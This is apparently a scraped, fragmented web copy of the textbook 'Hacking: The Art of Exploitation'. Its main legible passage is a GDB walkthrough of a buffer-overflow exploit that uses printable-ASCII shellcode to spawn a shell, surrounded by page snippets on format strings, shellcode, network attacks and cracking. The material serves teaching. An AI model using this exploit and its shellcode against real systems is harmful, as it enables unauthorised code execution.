hacking-the-art-of-exploitation

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0x080484b5 : lea eax,[ebp-24] 0x080484b8 : mov DWORD PTR [esp],eax 0x080484bb : call 0x8048388 0x080484c0 : mov eax,DWORD PTR [ebp+12] 0x080484c3 : mov DWORD PTR [esp+8],eax 0x080484c7 : lea eax,[ebp-24] 0x080484ca : mov DWORD PTR [esp+4],eax 0x080484ce : mov DWORD PTR [esp],0x80487a0 0x080484d5 : call 0x8048398 0x080484da : leave 0x080484db : ret End of assembler dump. (gdb) break *0x080484db Breakpoint 1 at 0x80484db: file update_info.c, line 21. (gdb) run $(perl -e 'print "AAAA"x10') $(cat ./printable) Starting program: /home/reader/booksrc/update_info $(perl -e 'print "AAAA"x10') $(cat ./ printable) [DEBUG]: desc argument is at 0xbffff8fd Program received signal SIGSEGV, Segmentation fault. 0xb7f06bfb in strlen () from /lib/tls/i686/cmov/libc.so.6 (gdb) run $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable) The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable) [DEBUG]: desc argument is at 0xbffff8fd Updating product # with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY- yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0- %o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP' Breakpoint 1, 0x080484db in update_product_description ( id=0x72727550 , desc=0x5454212d ) at update_info.c:21 21 } (gdb) stepi 0xbffff8fd in ?? () (gdb) x/9i $eip 0xbffff8fd: push esp 0xbffff8fe: pop eax 0xbffff8ff: sub eax,0x39393333 0xbffff904: sub eax,0x72727550 0xbffff909: sub eax,0x54545421 0xbffff90e: push eax 0xbffff90f: pop esp 0xbffff910: and eax,0x454e4f4a 0xbffff915: and eax,0x3a313035 (gdb) i r esp esp 0xbffff6d0 0xbffff6d0 (gdb) p /x $esp + 860 $1 = 0xbffffa2c (gdb) stepi 9 0xbffff91a in ?? () (gdb) i r esp eax 374 0x600
esp 0xbffffa2c 0xbffffa2c eax 0x0 0 (gdb) The first nine instructions add 860 to ESP and zero out the EAX register. The next eight instructions push the last eight bytes of the shellcode to the stack in four-byte chunks. This process is repeated in the next 32 instructions to build the entire shellcode on the stack. (gdb) x/8i $eip 0xbffff91a: sub eax,0x346d6d25 0xbffff91f: sub eax,0x256d6d25 0xbffff924: sub eax,0x2557442d 0xbffff929: push eax 0xbffff92a: sub eax,0x59316659 0xbffff92f: sub eax,0x59667766 0xbffff934: sub eax,0x7a537a79 0xbffff939: push eax (gdb) stepi 8 0xbffff93a in ?? () (gdb) x/4x $esp 0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000 (gdb) stepi 32 0xbffff9ba in ?? () (gdb) x/5i $eip 0xbffff9ba: push eax 0xbffff9bb: push eax 0xbffff9bc: push eax 0xbffff9bd: push eax 0xbffff9be: push eax (gdb) x/16x $esp 0xbffffa04: 0x90909090 0x31c03190 0x99c931db 0x80cda4b0 0xbffffa14: 0x51580b6a 0x732f2f68 0x622f6868 0xe3896e69 0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000 0xbffffa34: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) i r eip esp eax eip 0xbffff9ba 0xbffff9ba esp 0xbffffa04 0xbffffa04 eax 0x90909090 -1869574000 (gdb) Now with the shellcode completely constructed on the stack, EAX is set to 0x90909090. This is pushed to the stack repeatedly to build a NOP sled to bridge the gap between the end of the loader code and the newly constructed shellcode. (gdb) x/24x 0xbffff9ba 0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050 0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000 0xbffff9da: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff9ea: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff9fa: 0x00000000 0x00000000 0x90900000 0x31909090 0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158 Countermeasures 375
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CD INside 2nd Edition Hacking the a
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® San Francisco
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BRIEF CONTENTS Preface ............
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0x300 EXPLOITATION 115 0x310 Genera
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0x6a0 Hardening Countermeasures....
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ACKNOWLEDGMENTS I would like to tha
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2 0x100 The rules for this problem
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4 0x100 overly simplistic encryptio
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can be written to accomplish any gi
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0x230 Control Structures Without co
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lest it continue into infinity. A w
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called constants. Returning to the
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Quite often in programs, variables
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0x244 Functions Sometimes there wil
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void turn(variable_direction, targe
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library, a function prototype is ne
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Like a row of houses on a local str
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Below, GDB is used to show the stat
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There are also operations that are
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The display format also uses a sing
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The first four bytes are shown both
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(gdb) x/10i $eip 0x804838b : cmp DW
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022 18 12 DC2 122 82 52 R 023 19 13
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familiar address of EBP minus 4 int
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the English language, knowledge of
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Function "strcpy" not defined. Make
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only be in one of 2 32 possible bit
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pointer.c #include #include int m
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addressof.c #include int main() {
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0x264 Format Strings The printf() f
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The final line just shows the addre
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As discussed earlier, dividing the
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} } printf("[char pointer] points t
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Naturally, it is far easier just to
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This is rather hacky, but since thi
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eader@hacking:~/booksrc $ ./a.out '
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0x267 Variable Scoping Another inte
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[in func1] i = 5, j = 42 [in func2]
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10 (gdb) break 7 Breakpoint 1 at 0x
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Notice that the static_var retains
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70 0x200 The heap segment is a segm
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End of assembler dump (gdb) disass
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0x804836f : mov DWORD PTR [esp+8],0
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int global_initialized_var = 5; voi
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int main(int argc, char *argv[]) {
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errorchecked_heap.c #include #incl
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The bar code on the back of this bo
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eader@hacking:~/booksrc $ ./simplen
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} printf("\n"); display_flags("O_WR
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eader@hacking:~/booksrc $ chmod 731
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uid_demo.c #include int main() { p
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} void fatal(char *); // A function
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#define FILENAME "/var/notes" int p
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[DEBUG] found a 34 byte note for us
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of current_time, an empty tm struct
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While struct memory can be accessed
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815015288 1315541117 2080969327 450
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printf("6 - Reset your account at 1
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int fd; } printf("\n===============
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} } // This function is the Pick a
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invalid_choice = 1; while(invalid_c
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Would you like to play again? (y/n)
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114 0x200 Play around with this pro
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A program can only do what it’s p
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don’t say exactly what their crea
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By now, you should be able to read
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eader@hacking:~/booksrc $ gcc explo
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11 if(strcmp(password_buffer, "bril
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auth_overflow2.c #include #include
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As expected, the overflow cannot di
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(gdb) c Continuing. Breakpoint 2, c
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Notice the two lines shown in bold
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eader@hacking:~/booksrc $ perl -e '
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0x0804848d : mov eax,DWORD PTR [eax
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20 offset = atoi(argv[1]); (gdb) 21
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called the NOP sled, that can assis
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The function of the for loop should
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\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6
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eader@hacking:~/booksrc $ ./notesea
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int main(int argc, char *argv[]) {
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char *buffer = (char *) malloc(160)
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7e99000-b7e9a000 rw-p b7e99000 00:0
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for that user. Using the salt value
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0x342 Overflowing Function Pointers
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7 - Quit [Name: Jon Erickson] [You
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0804b630 A _edata 0804b6d4 A _end 0
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n 5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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6 - Reset your account at 100 credi
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[Name: Jon Erickson] [You have 1230
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Parameter Input Type Output Type %d
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This is an interesting detail that
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0x353 Reading from Arbitrary Memory
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The wrong way to print user-control
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The addresses and junk data at the
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eader@hacking:~/booksrc $ reader@ha
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0x355 Direct Parameter Access Direc
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Since the stack doesn’t need to b
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0x357 Detours with .dtors In binary
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located. Then the actual bytes are
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Since the .dtors section is writabl
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[DEBUG] found a 34 byte note for us
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eader@hacking:~/booksrc $ objdump -
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0x400 NETWORKING Communication and
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For example, whenever you browse th
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Datagram sockets and UDP are common
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From /usr/include/bits/socket.h /*
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htons(short value) Host-to-Network
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fatal("in socket"); if (setsockopt(
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When compiled and run, the program
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This reveals that the webserver is
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From /usr/include/netdb.h /* Descri
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} while(recv_line(sockfd, buffer))
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} /* This function handles the conn
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Accepting web requests on port 80 G
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the two addressing schemes. In the
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also exist on this layer. ICMP pack
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0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3
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Interrupt:16 Base address:0x2024 re
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u_char buffer[9000]; if ((sockfd =
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pcap_handle = pcap_open_live(device
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eader@hacking:~/booksrc $ $ grep -R
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The compiler padding, as mentioned
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Now that the headers are defined as
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The caught_packet() function gets c
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With the headers decoded and separa
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Due to timeout values, the victim m
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eader@hacking:~/booksrc $ sudo neme
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data structures for the packet head
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if (pd->file_mem == NULL) pd->file_
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only builds ethernet/IP ARP packets
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The remaining libnet functions get
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dest_ip = libnet_name_resolve(argv[
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In the example above, the host 192.
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0x454 Ping Flooding Flooding DoS at
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The host machine will receive the s
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char errbuf[PCAP_ERRBUF_SIZE]; // S
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TH_RST, // Control flags (RST flag
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Christmas tree), and the Null scan
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0x475 Proactive Defense (shroud) Po
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char errbuf[PCAP_ERRBUF_SIZE]; // S
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NULL, // Payload (none) 0, // Paylo
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} while(recv(sockfd, ptr, 1, 0) ==
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$1 = 540 (gdb) p /x 0xbffff5c0 + 20
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" 90 90 90 90 90 90 90 90 90 90 90
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When this exploit is compiled and r
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0x500 SHELLCODE So far, the shellco
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mmap2(0xb7ee4000, 9596, PROT_READ|P
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#define __NR_stime 25 #define __NR_
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In shellcode, the bytes for the str
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eader@hacking:~/booksrc $ export SH
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which means that a small value like
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Instruction inc dec Description I
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After assembling this shellcode, he
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exec_shell.s BITS 32 jmp short two
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eader@hacking:~/booksrc $ nasm tiny
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int setresuid(uid_t ruid, uid_t eui
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push BYTE 11 pop eax push ecx push
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So, to make socket system calls usi
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push BYTE 16 ; argv: { sizeof(serve
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00000030 80 b0 66 43 52 52 56 89 e1
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This loop iterates ECX from 0 to 2,
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push edx ; Build sockaddr struct: I
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pop eax inc ebx ; ebx = 2 (needed f
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the return address uses multiple by
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0x600 COUNTERMEASURES The golden po
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0x620 System Daemons To have a real
Page 337 and 338: } printf("Caught signal %d\t", sign
Page 339 and 340: tinywebd.c #include #include #inc
Page 341 and 342: if(fd == -1) { // If file is not fo
Page 343 and 344: In previous chapters, we’ve writt
Page 345 and 346: 63 if (listen(sockfd, 20) == -1) 64
Page 347 and 348: message. Shell variables are used f
Page 349 and 350: There’s a simple mistake in the t
Page 351 and 352: any program to show every system ca
Page 353 and 354: 0x080487ee : mov DWORD PTR [esp+8],
Page 355 and 356: 0x08048f5f : call 0x08048f64 : nop
Page 357 and 358: push BYTE 0x6 ; Close () pop eax in
Page 359 and 360: A quick glance at the function prol
Page 361 and 362: push edx ; Build arg array: { proto
Page 363 and 364: This program can be used to inject
Page 365 and 366: Then, from another terminal, the ne
Page 367 and 368: strace is used with the -p command-
Page 369 and 370: ig red flag. We could change the po
Page 371 and 372: of new_sockfd will still be correct
Page 373 and 374: 00000020 b0 3f cd 80 49 79 f9 b0 0b
Page 375 and 376: push ebx mov ecx, esp int 0x80 ; pu
Page 377 and 378: Instruction Hex ASCII inc eax 0x40
Page 379 and 380: eader@hacking:~/booksrc $ gcc -o up
Page 381 and 382: Amazingly, these instructions, comb
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Page 385 and 386: eader@hacking:~/booksrc $ gcc -o pr
Page 387: At the end, the shellcode has been
Page 391 and 392: functions are shared, so any progra
Page 393 and 394: A quick binary search shows that th
Page 395 and 396: eginning of the buffer. When a prog
Page 397 and 398: The breakpoint is set at the last i
Page 399 and 400: Bouncing off linux-gate refers to a
Page 401 and 402: matrix@loki /hacking $ for i in `se
Page 403 and 404: manual page for execve() for detail
Page 405: for(i=0; i < 90; i+=4) // Fill buff
Page 408 and 409: encryption, credit card transaction
Page 410 and 411: through the incorrect filter, its p
Page 412 and 413: This means that, in general, the gr
Page 414 and 415: Without some way to manipulate the
Page 416 and 417: With a little bit of basic algebra,
Page 418 and 419: Since this is all done modulo N, th
Page 420 and 421: 0x750 Hybrid Ciphers A hybrid crypt
Page 422 and 423: [:] - Static route to port on host
Page 424 and 425: communication channel with the atta
Page 426 and 427: e asked to add the new fingerprint.
Page 428 and 429: to be a bit hazy. The goal behind t
Page 430 and 431: ---[Current State]-----------------
Page 432 and 433: 0x760 Password Cracking Passwords a
Page 434 and 435: crypt_crack.c #define _XOPEN_SOURCE
Page 436 and 437: Custom dictionary files are often m
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possible hashes for a single plaint
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Of course, there are downsides. Fir
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charval = (k-32)*95 + (l-32); // La
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} /* Print the plaintext pairs that
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printf("Building probability vector
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Of course, if WEP is turned on, onl
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Now when keystream data is needed,
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After an IV collision is discovered
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is really quite amazing. It takes a
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Seed = IV concatenated with the key
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int key[13] = {1, 2, 3, 4, 5, 66, 7
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and the key is hard-coded into the
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9 0 | 41 1 | 73 0 | 105 0 | 137 1 |
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0x800 CONCLUSION Hacking tends to b
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CNET News. “40-Bit Crypto Proves
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INDEX Symbols & Numbers & (ampersan
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uffer overrun, 119 buffers, 38 prog
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dtors_sample.c program, 184 dump()
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declaring as void, 17 for error che
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Internet Protocol (IP), 220 address
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nemesis_arp() function, 245 nemesis
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pointer_types4.c program, 56 pointe
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session layer (OSI), 196 for web br
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text segment, of memory, 69 then ke
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More No-Nonsense Books from NO STAR
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UPDATES Visit http://www.nostarch.c
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